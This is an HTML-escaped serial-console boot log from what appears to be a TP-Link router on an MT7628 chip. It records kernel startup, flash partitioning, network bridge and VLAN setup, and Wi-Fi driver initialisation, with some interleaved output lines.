Kernel command line: console=ttyS1,115200 root=/dev/mtdblock2 rootfstype=squashfs init=/sbin/init&lt;br /&gt;
PID hash table entries: 256 (order: -2, 1024 bytes)&lt;br /&gt;
Dentry cache hash table entries: 8192 (order: 3, 32768 bytes)&lt;br /&gt;
Inode-cache hash table entries: 4096 (order: 2, 16384 bytes)&lt;br /&gt;
Primary instruction cache 64kB, VIPT, , 4-waylinesize 32 bytes.&lt;br /&gt;
Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes&lt;br /&gt;
Writing ErrCtl register=0006b4ae&lt;br /&gt;
Readback ErrCtl register=0006b4ae&lt;br /&gt;
Memory: 61076k/65536k available (2715k kernel code, 4460k reserved, 664k data, 168k init, 0k highmem)&lt;br /&gt;
NR_IRQS:128&lt;br /&gt;
console [ttyS1] enabled&lt;br /&gt;
Calibrating delay loop... 386.04 BogoMIPS (lpj=772096)&lt;br /&gt;
pid_max: default: 4096 minimum: 301&lt;br /&gt;
Mount-cache hash table entries: 512&lt;br /&gt;
NET: Registered protocol family 16&lt;br /&gt;
RALINK_GPIOMODE = 55154444&lt;br /&gt;
RALINK_GPIOMODE = 55144444&lt;br /&gt;
***** Xtal 40MHz *****&lt;br /&gt;
start PCIe register access&lt;br /&gt;
RALINK_RSTCTRL = 2400000&lt;br /&gt;
RALINK_CLKCFG1 = fdbfffc0&lt;br /&gt;
&lt;br /&gt;
*************** MT7628 PCIe RC mode *************&lt;br /&gt;
PCIE0 enabled&lt;br /&gt;
Port 0 N_FTS = 1b105000&lt;br /&gt;
init_rt2880pci done&lt;br /&gt;
bio: create slab &amp;lt;bio-0&amp;gt; at 0&lt;br /&gt;
pci 0000:00:00.0: BAR 0: can&#039;t assign mem (size 0x80000000)&lt;br /&gt;
pci 0000:00:00.0: BAR 8: assigned [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: assigned [mem 0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:00:00.0: BAR 1: set to [mem 0x20200000-0x2020ffff] (PCI address [0x20200000-0x2020ffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: assigned [mem 0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.0: BAR 0: set to [mem 0x20000000-0x200fffff] (PCI address [0x20000000-0x200fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: assigned [mem 0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:01:00.1: BAR 0: set to [mem 0x20100000-0x201fffff] (PCI address [0x20100000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0: PCI bridge to [bus 01-01]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [io  disabled]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem 0x20000000-0x201fffff]&lt;br /&gt;
pci 0000:00:00.0:   bridge window [mem pref disabled]&lt;br /&gt;
BAR0 at slot 0 = 0&lt;br /&gt;
bus=0x0, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 0&lt;br /&gt;
res[0]-&amp;gt;end = 0&lt;br /&gt;
res[1]-&amp;gt;start = 20200000&lt;br /&gt;
res[1]-&amp;gt;end = 2020ffff&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20000000&lt;br /&gt;
res[0]-&amp;gt;end = 200fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
bus=0x1, slot = 0x0&lt;br /&gt;
res[0]-&amp;gt;start = 20100000&lt;br /&gt;
res[0]-&amp;gt;end = 201fffff&lt;br /&gt;
res[1]-&amp;gt;start = 0&lt;br /&gt;
res[1]-&amp;gt;end = 0&lt;br /&gt;
res[2]-&amp;gt;start = 0&lt;br /&gt;
res[2]-&amp;gt;end = 0&lt;br /&gt;
res[3]-&amp;gt;start = 0&lt;br /&gt;
res[3]-&amp;gt;end = 0&lt;br /&gt;
res[4]-&amp;gt;start = 0&lt;br /&gt;
res[4]-&amp;gt;end = 0&lt;br /&gt;
res[5]-&amp;gt;start = 0&lt;br /&gt;
res[5]-&amp;gt;end = 0&lt;br /&gt;
Switching to clocksource Ralink Systick timer&lt;br /&gt;
NET: Registered protocol family 2&lt;br /&gt;
IP route cache hash table entries: 1024 (order: 0, 4096 bytes)&lt;br /&gt;
TCP established hash table entries: 2048 (order: 2, 16384 bytes)&lt;br /&gt;
TCP bind hash table entries: 2048 (order: 1, 8192 bytes)&lt;br /&gt;
TCP: Hash tables configured (established 2048 bind 2048)&lt;br /&gt;
TCP reno registered&lt;br /&gt;
NET: Registered protocol family 1&lt;br /&gt;
RT3xxx EHCI/OHCI init.&lt;br /&gt;
squashfs: version 4.0 (2009/01/31) Phillip Lougher&lt;br /&gt;
fuse init (API version 7.15)&lt;br /&gt;
msgmni has been set to 119&lt;br /&gt;
io scheduler noop registered&lt;br /&gt;
io scheduler deadline registered (default)&lt;br /&gt;
gpiomode1 55144444.&lt;br /&gt;
gpiomode2 00000445.&lt;br /&gt;
Ralink gpio driver initialized&lt;br /&gt;
Serial: 8250/16550 driver, 4 ports, IRQ sharing enabled&lt;br /&gt;
serial8250: ttyS0 at MMIO 0x10000d00 (irq = 21) is a 16550A&lt;br /&gt;
serial8250: ttyS1 at MMIO 0x10000c00 (irq = 20) is a 16550A&lt;br /&gt;
brd: module loaded&lt;br /&gt;
flash manufacture id: c8, device id 40 17&lt;br /&gt;
GD25Q64B(c8 40170000) (8192 Kbytes)&lt;br /&gt;
mtd .name = raspi, .size = 0x00800000 (8M) .erasesize = 0x00010000 (64K) .numeraseregions = 0&lt;br /&gt;
Creating 7 MTD partitions on &amp;quot;raspi&amp;quot;:&lt;br /&gt;
0x000000000000-0x000000020000 : &amp;quot;boot&amp;quot;&lt;br /&gt;
0x000000020000-0x000000160000 : &amp;quot;kernel&amp;quot;&lt;br /&gt;
0x000000160000-0x0000007c0000 : &amp;quot;rootfs&amp;quot;&lt;br /&gt;
mtd: partition &amp;quot;rootfs&amp;quot; set to be root filesystem&lt;br /&gt;
0x0000007c0000-0x0000007d0000 : &amp;quot;config&amp;quot;&lt;br /&gt;
0x0000007d0000-0x0000007e0000 : &amp;quot;romfile&amp;quot;&lt;br /&gt;
0x0000007e0000-0x0000007f0000 : &amp;quot;rom&amp;quot;&lt;br /&gt;
0x0000007f0000-0x000000800000 : &amp;quot;radio&amp;quot;&lt;br /&gt;
Register flash device:flash0&lt;br /&gt;
PPP generic driver version 2.4.2&lt;br /&gt;
PPP MPPE Compression module registered&lt;br /&gt;
NET: Registered protocol family 24&lt;br /&gt;
Mirror/redirect action on&lt;br /&gt;
u32 classifier&lt;br /&gt;
    Actions configured&lt;br /&gt;
Netfilter messages via NETLINK v0.30.&lt;br /&gt;
nf_conntrack version 0.5.0 (954 buckets, 3816 max)&lt;br /&gt;
ip_tables: (C) 2000-2006 Netfilter Core Team, Type=Linux&lt;br /&gt;
TCP cubic registered&lt;br /&gt;
NET: Registered protocol family 10&lt;br /&gt;
ip6_tables: (C) 2000-2006 Netfilter Core Team&lt;br /&gt;
IPv6 over IPv4 tunneling driver&lt;br /&gt;
NET: Registered protocol family 17&lt;br /&gt;
Ebtables v2.0 registered&lt;br /&gt;
802.1Q VLAN Support v1.8 Ben Greear &amp;lt;greearb@candelatech.com&amp;gt;&lt;br /&gt;
All bugs added by David S. Miller &amp;lt;davem@redhat.com&amp;gt;&lt;br /&gt;
VFS: Mounted root (squashfs filesystem) readonly on device 31:2.&lt;br /&gt;
Freeing unused kernel memory: 168k freed&lt;br /&gt;
starting pid 691, tty &#039;&#039;: &#039;/etc/init.d/rcS&#039;&lt;br /&gt;
rdm_major = 253&lt;br /&gt;
SCSI subsystem initialized&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
Ralink APSoC Ethernet Driver Initilization. v3.1  256 rx/tx descriptors allocated, mtu = 1500!&lt;br /&gt;
NAPI enable, Tx Ring = 256, Rx Ring = 256&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
Read MAC from flash(  7df100) ffffff98-ffffffda-ffffffc4-6e-00-fffffffc&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
PROC INIT OK!&lt;br /&gt;
usbcore: registered new interface driver usbfs&lt;br /&gt;
usbcore: registered new interface driver hub&lt;br /&gt;
usbcore: registered new device driver usb&lt;br /&gt;
ehci_hcd: USB 2.0 &#039;Enhanced&#039; Host Controller (EHCI) Driver&lt;br /&gt;
FM_OUT value: u4FmOut = 0(0x00000000)&lt;br /&gt;
FM_OUT value: u4FmOut = 125(0x0000007D)&lt;br /&gt;
FM detection done! loop = 1&lt;br /&gt;
SR calibration value u1SrCalVal = 7&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: Ralink EHCI Host Controller&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: new USB bus registered, assigned bus number 1&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: irq 18, io mem 0x101c0000&lt;br /&gt;
rt3xxx-ehci rt3xxx-ehci: USB 0.0 started, EHCI 1.00&lt;br /&gt;
hub 1-0:1.0: USB hub found&lt;br /&gt;
hub 1-0:1.0: 1 port detected&lt;br /&gt;
ohci_hcd: USB 1.1 &#039;Open&#039; Host Controller (OHCI) Driver&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: RT3xxx OHCI Controller&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: new USB bus registered, assigned bus number 2&lt;br /&gt;
rt3xxx-ohci rt3xxx-ohci: irq 18, io mem 0x101c1000&lt;br /&gt;
hub 2-0:1.0: USB hub found&lt;br /&gt;
hub 2-0:1.0: 1 port detected&lt;br /&gt;
Initializing USB Mass Storage driver...&lt;br /&gt;
usbcore: registered new interface driver usb-storage&lt;br /&gt;
USB Mass Storage support registered.&lt;br /&gt;
add domain:tplinkwifi.net&lt;br /&gt;
add domain:tplinklogin.net&lt;br /&gt;
tp_domain init ok&lt;br /&gt;
/etc/init.d/rcS: line 78: telnetd: not found&lt;br /&gt;
L2TP core driver, V2.0&lt;br /&gt;
PPPoL2TP kernel driver, V2.0&lt;br /&gt;
Set: phy[0].reg[0] = 3900&lt;br /&gt;
Set: phy[1].reg[0] = 3900&lt;br /&gt;
Set: phy[2].reg[0] = 3900&lt;br /&gt;
Set: phy[3].reg[0] = 3900&lt;br /&gt;
Set: phy[4].reg[0] = 3900&lt;br /&gt;
Set: phy[0].reg[0] = 3300&lt;br /&gt;
Set: phy[1].reg[0] = 3300&lt;br /&gt;
Set: phy[2].reg[0] = 3300&lt;br /&gt;
Set: phy[3].reg[0] = 3300&lt;br /&gt;
Set: phy[4].reg[0] = 3300&lt;br /&gt;
resetMiiPortV over.&lt;br /&gt;
starting pid 778, tty &#039;/dev/ttyS1&#039;: &#039;/bin/sh&#039;&lt;br /&gt;
~ # [ util_execSystem ] 139:  ipt_init cmd is &amp;quot;/var/tmp/dconf/rc.router&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ dm_readFile ] 2061:  can not open xml file /var/tmp/pc/reduced_data_model.xml!, about to open file /etc/reduced_data_model.xml&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0x10000, ret 0, retlen 0x10000&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007c0000 length 0xad26, ret 0, retlen 0xad26&lt;br /&gt;
===&amp;gt;Enter Routerspiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
 mode&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df200 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df300 length 0x4, ret 0, retlen 0x4&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df400 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df500 length 0x29, ret 0, retlen 0x29&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df600 length 0x21, ret 0, retlen 0x21&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df700 length 0x10, ret 0, retlen 0x10&lt;br /&gt;
spiflash_ioctl_read, Read from 0x00020000 length 0x1d0, ret 0, retlen 0x1d0&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007df100 length 0x6, ret 0, retlen 0x6&lt;br /&gt;
sendto: No such file or directory&lt;br /&gt;
pid 777 send 2001 error&lt;br /&gt;
[ util_execSystem ] 139:  oal_startDynDns cmd is &amp;quot;dyndns /var/tmp/dconf/dyndns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ oal_sys_getOldTZInfo ] 519:  Open TZ file error!&lt;br /&gt;
[ util_execSystem ] 139:  oal_sys_unsetTZ cmd is &amp;quot;echo &amp;quot;&amp;quot; &amp;gt; /etc/TZ&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startNoipDns cmd is &amp;quot;noipdns /var/tmp/dconf/noipdns.conf&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_startCmxDns cmd is &amp;quot;cmxdns /var/tmp/dconf/cmxdns.conf&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ioctl: No such device&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addBridge cmd is &amp;quot;brctl addbr br0;brctl setfd br0 0;brctl stp br0 off&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_ipt_addLanRules cmd is &amp;quot;iptables -t filter -A INPUT -i br+ -j ACCEPT&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_setIntf cmd is &amp;quot;ifconfig br0 192.168.1.1 netmask 255.255.255.0 up&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_util_setProcLanAddr cmd is &amp;quot;echo &amp;quot;br0 16885952,&amp;quot; &amp;gt; /proc/net/conRaeth v3.1 (ntract_LocalAddrNAPI&lt;br /&gt;
&lt;br /&gt;
[ util_exec,SkbRecycleSystem ] 139:  o)&lt;br /&gt;
al_intf_enableIn&lt;br /&gt;
phy_tx_ring = 0x0318b000, tx_ring = 0xa318b000&lt;br /&gt;
tf cmd is &amp;quot;ifcon&lt;br /&gt;
phy_rx_ring0 = 0x0318c000, rx_ring0 = 0xa318c000&lt;br /&gt;
fig eth0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[fe_sw_init:5185]rt305x_esw_init.&lt;br /&gt;
disable switch phyport...&lt;br /&gt;
GMAC1_MAC_ADRH -- : 0x000098da&lt;br /&gt;
GMAC1_MAC_ADRL -- : 0xc46e00fc&lt;br /&gt;
RT305x_ESW: Link Status Changed&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 1 : [3]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 2 : [4]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 3 : [5]&lt;br /&gt;
[ rsl_getUnusedVlan ] 1042:  GET UNUSED VLAN TAG 4 : [6]&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.3 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.3 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.4 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.4 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 5&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.5 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.5 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntf cmd is &amp;quot;ifconfig eth0.6 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
set if eth0.6 to *not wan dev&lt;br /&gt;
[ util_execSystem ] 139:  oal_addVlanTagIntf cmd is &amp;quot;vconfig add eth0 2&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_intf_enableIntdevice eth0.3 entered promiscuous mode&lt;br /&gt;
f cmd is &amp;quot;ifconfdevice eth0 entered promiscuous mode&lt;br /&gt;
ig eth0.2 up&amp;quot;&lt;br /&gt;
br0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
&lt;br /&gt;
set if eth0.2 tbr0: port 1(eth0.3) entering forwarding state&lt;br /&gt;
o wan dev&lt;br /&gt;
[ vlan_addLanPortsIntoBridge ] 574:  add lan Port 255 from br0&lt;br /&gt;
[ utidevice eth0.4 entered promiscuous mode&lt;br /&gt;
l_execSystem ] 1br0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
39:  oal_br_addIbr0: port 2(eth0.4) entering forwarding state&lt;br /&gt;
ntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.3&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_bdevice eth0.5 entered promiscuous mode&lt;br /&gt;
r_addIntfIntoBribr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
dge cmd is &amp;quot;brctbr0: port 3(eth0.5) entering forwarding state&lt;br /&gt;
l addif br0 eth0.4&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd isdevice eth0.6 entered promiscuous mode&lt;br /&gt;
 &amp;quot;brctl addif brbr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
0 eth0.5&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ ubr0: port 4(eth0.6) entering forwarding state&lt;br /&gt;
til_execSystem ] 139:  oal_br_addIntfIntoBridge cmd is &amp;quot;brctl addif br0 eth0.6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  rsl_initIPv6CfgObj cmd is &amp;quot;echo 1 &amp;gt; /proc/sys/net/ipv6/conf/all/disable_ipv6&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_eth_setIGMPSnoopParam cmd is &amp;quot;for i in /sys/devices/virtual/net/*/bridge/multicast_snooping;do echo 1 &amp;gt; $i ; done&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;cp /etc/SingleSKU_CE.dat /var/Wireless/RT2860AP/SingleSKU.dat&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setCountryRegion cmd is &amp;quot;iwpriv ra0 set CountryRegion=1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ra0       no private ioctls.&lt;br /&gt;
[ util_execSystem ] 166:  execute ok, exit status = 255&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_loadDriver cmd is &amp;quot;insmod /lib/modules/kmdir/kernel/drivers/net/wireless/mt_wifi_ap/mt_wifi.ko&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.4: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.5: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.6: link becomes ready&lt;br /&gt;
ADDRCONF(NETDEV_CHANGE): eth0.2: link becomes ready&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== pAd = c0988000, size = 1493064 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;-- RTMPAllocTxRxRingMemory, Status=0, ErrorValue=0x&lt;br /&gt;
&amp;lt;-- RTMPAllocAdapterBlock, Status=0&lt;br /&gt;
RtmpChipOpsHook(492): Not support for HIF_MT yet!&lt;br /&gt;
mt7628_init()--&amp;gt;&lt;br /&gt;
mt7628_init(FW(8a00), HW(8a01), CHIPID(7628))&lt;br /&gt;
e2.bin mt7628_init(1156)::(2), pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
mt_bcn_buf_init(218): Not support for HIF_MT yet!&lt;br /&gt;
&amp;lt;--mt7628_init()&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;ifconfig ra0 up&amp;quot;&lt;br /&gt;
&lt;br /&gt;
TX_BCN DESC a277c000 size = 320&lt;br /&gt;
RX[0] DESC a2780000 size = 2048&lt;br /&gt;
RX[1] DESC a2781000 size = 2048&lt;br /&gt;
RT_CfgSetApcliMacAddress : invalid mac setting&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
cfg_mode=9&lt;br /&gt;
wmode_band_equal(): Band Equal!&lt;br /&gt;
AndesSendCmdMsg: Could not send in band command due to diable fRTMP_ADAPTER_MCU_SEND_IN_BAND_CMD&lt;br /&gt;
APSDCapable[0]=0&lt;br /&gt;
APSDCapable[1]=0&lt;br /&gt;
APSDCapable[2]=0&lt;br /&gt;
APSDCapable[3]=0&lt;br /&gt;
APSDCapable[4]=0&lt;br /&gt;
APSDCapable[5]=0&lt;br /&gt;
APSDCapable[6]=0&lt;br /&gt;
APSDCapable[7]=0&lt;br /&gt;
APSDCapable[8]=0&lt;br /&gt;
APSDCapable[9]=0&lt;br /&gt;
APSDCapable[10]=0&lt;br /&gt;
APSDCapable[11]=0&lt;br /&gt;
APSDCapable[12]=0&lt;br /&gt;
APSDCapable[13]=0&lt;br /&gt;
APSDCapable[14]=0&lt;br /&gt;
APSDCapable[15]=0&lt;br /&gt;
default ApCliAPSDCapable[0]=0&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key1Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key2Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key3Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
Key4Str is Invalid key length(0) or Type(0)&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
WscKeyASCII=8&lt;br /&gt;
[RTMPReadParametersHook:297]wifi read profile faild.&lt;br /&gt;
load fw image from fw_header_image&lt;br /&gt;
AndesMTLoadFwMethod1(2263)::pChipCap-&amp;gt;fw_len(64560)&lt;br /&gt;
FW Version:1&lt;br /&gt;
FW Build Date:20161213152835&lt;br /&gt;
CmdAddressLenReq:(ret = 0)&lt;br /&gt;
CmdFwStartReq: override = 1, address = 1048576&lt;br /&gt;
CmdStartDLRsp: WiFI FW Download Success&lt;br /&gt;
MtAsicDMASchedulerInit(): DMA Scheduler Mode=0(LMAC)&lt;br /&gt;
efuse_probe: efuse = 10000002&lt;br /&gt;
RtmpChipOpsEepromHook::e2p_type=2, inf_Type=4&lt;br /&gt;
RtmpEepromGetDefault::e2p_dafault=2&lt;br /&gt;
RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 2&lt;br /&gt;
NVM is FLASH mode&lt;br /&gt;
1. Phy Mode = 14&lt;br /&gt;
exec!&lt;br /&gt;
spiflash_ioctl_read, Read from 0x007f0000 length 0x400, ret 0, retlen 0x400&lt;br /&gt;
eeFlashId = 0x7628!&lt;br /&gt;
Country Region from e2p = ffff&lt;br /&gt;
tssi_1_target_pwr_g_band = 32&lt;br /&gt;
2. Phy Mode = 14&lt;br /&gt;
3. Phy Mode = 14&lt;br /&gt;
NICInitPwrPinCfg(11): Not support for HIF_MT yet!&lt;br /&gt;
NICInitializeAsic(651): Not support rtmp_mac_sys_reset () for HIF_MT yet!&lt;br /&gt;
mt_mac_init()--&amp;gt;&lt;br /&gt;
MtAsicInitMac()--&amp;gt;&lt;br /&gt;
mt7628_init_mac_cr()--&amp;gt;&lt;br /&gt;
MtAsicSetMacMaxLen(1277): Set the Max RxPktLen=450!&lt;br /&gt;
&amp;lt;--mt_mac_init()&lt;br /&gt;
        WTBL Segment 1 info:&lt;br /&gt;
                MemBaseAddr/FID:0x28000/0&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
        WTBL Segment 2 info:&lt;br /&gt;
                MemBaseAddr/FID:0x40000/0&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 3 info:&lt;br /&gt;
                MemBaseAddr/FID:0x42000/64&lt;br /&gt;
                EntrySize/Cnt:64/128&lt;br /&gt;
        WTBL Segment 4 info:&lt;br /&gt;
                MemBaseAddr/FID:0x44000/128&lt;br /&gt;
                EntrySize/Cnt:32/128&lt;br /&gt;
AntCfgInit(2946): Not support for HIF_MT yet!&lt;br /&gt;
MCS Set = ff ff 00 00 01&lt;br /&gt;
MtAsicSetChBusyStat(861): Not support for HIF_MT yet!&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=0, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
[PMF]RTMPMakeRsnIeCap: RSNIE Capability MFPC=0, MFPR=0&lt;br /&gt;
[PMF]ap_pmf_init:: apidx=1, MFPC=0, MFPR=0, SHA256=0&lt;br /&gt;
MtAsicSetRalinkBurstMode(3048): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPiggyBack(796): Not support for HIF_MT yet!&lt;br /&gt;
FW LOG: !!!! Pass, dont need recal (total fail[0])&lt;br /&gt;
&lt;br /&gt;
reload DPD from flash , 0x9F = [ca00] doReload bit7[0]&lt;br /&gt;
CmdLoadDPDDataFromFlash: Channel = 11, DoReload = 0&lt;br /&gt;
MtAsicSetTxPreamble(3027): Not support for HIF_MT yet!&lt;br /&gt;
CmdSlotTimeSet:(ret = 0)&lt;br /&gt;
MtAsicAddSharedKeyEntry(1344): Not support for HIF_MT yet!&lt;br /&gt;
MtAsicSetPreTbtt(): bss_idx=0, PreTBTT timeout = 0xf0&lt;br /&gt;
ap_ftkd&amp;gt; Initialize FT KDP Module...&lt;br /&gt;
Main bssid = 98:da:c4:6e:00:fc&lt;br /&gt;
&amp;lt;==== rt28xx_init, Status=0&lt;br /&gt;
@@@ ed_monitor_init : ===&amp;gt;&lt;br /&gt;
@@@ ed_monitor_init : &amp;lt;===&lt;br /&gt;
mt7628_set_ed_cca: TURN ON EDCCA mac 0x10618 = 0xd7c87d0f, EDCCA_Status=1&lt;br /&gt;
WiFi Startup Cost (ra0): 0.748s&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initWlan cmd is &amp;quot;echo 1 &amp;gt; /proc/tplink/led_wlan_24G&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_setStaNum cmd is &amp;quot;iwpriv ra0 set MaxStaNum=32&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  device ra0 entered promiscuous mode&lt;br /&gt;
oal_br_addIntfInbr0: port 5(ra0) entering forwarding state&lt;br /&gt;
toBridge cmd is br0: port 5(ra0) entering forwarding state&lt;br /&gt;
&amp;quot;brctl addif br0 ra0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridge cmd device apcli0 entered promiscuous mode&lt;br /&gt;
is &amp;quot;brctl addif br0 apcli0&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_br_addIntfIntoBridgdevice ra1 entered promiscuous mode&lt;br /&gt;
e cmd is &amp;quot;brctl addif br0 ra1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
[ util_execSyste&lt;br /&gt;
====&lt;br /&gt;
@@@ ed_status_read: EDCCA TH - H&lt;br /&gt;
pAd-&amp;gt;ed_trigger_cnt : 0 &amp;gt; 20 ||  pAd-&amp;gt;ed_big_rssi_stat : 0 &amp;lt; 50&lt;br /&gt;
====&lt;br /&gt;
m ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;wlNetlinkTspiflash_ioctl_read, Read from 0x007f0000 length 0x2, ret 0, retlen 0x2&lt;br /&gt;
ool &amp;amp;&amp;quot;&lt;br /&gt;
[ util_execSystem ] 139:  oal_wlan_ra_initEnd cmd is &amp;quot;killall -q wscd&amp;quot;&lt;br /&gt;
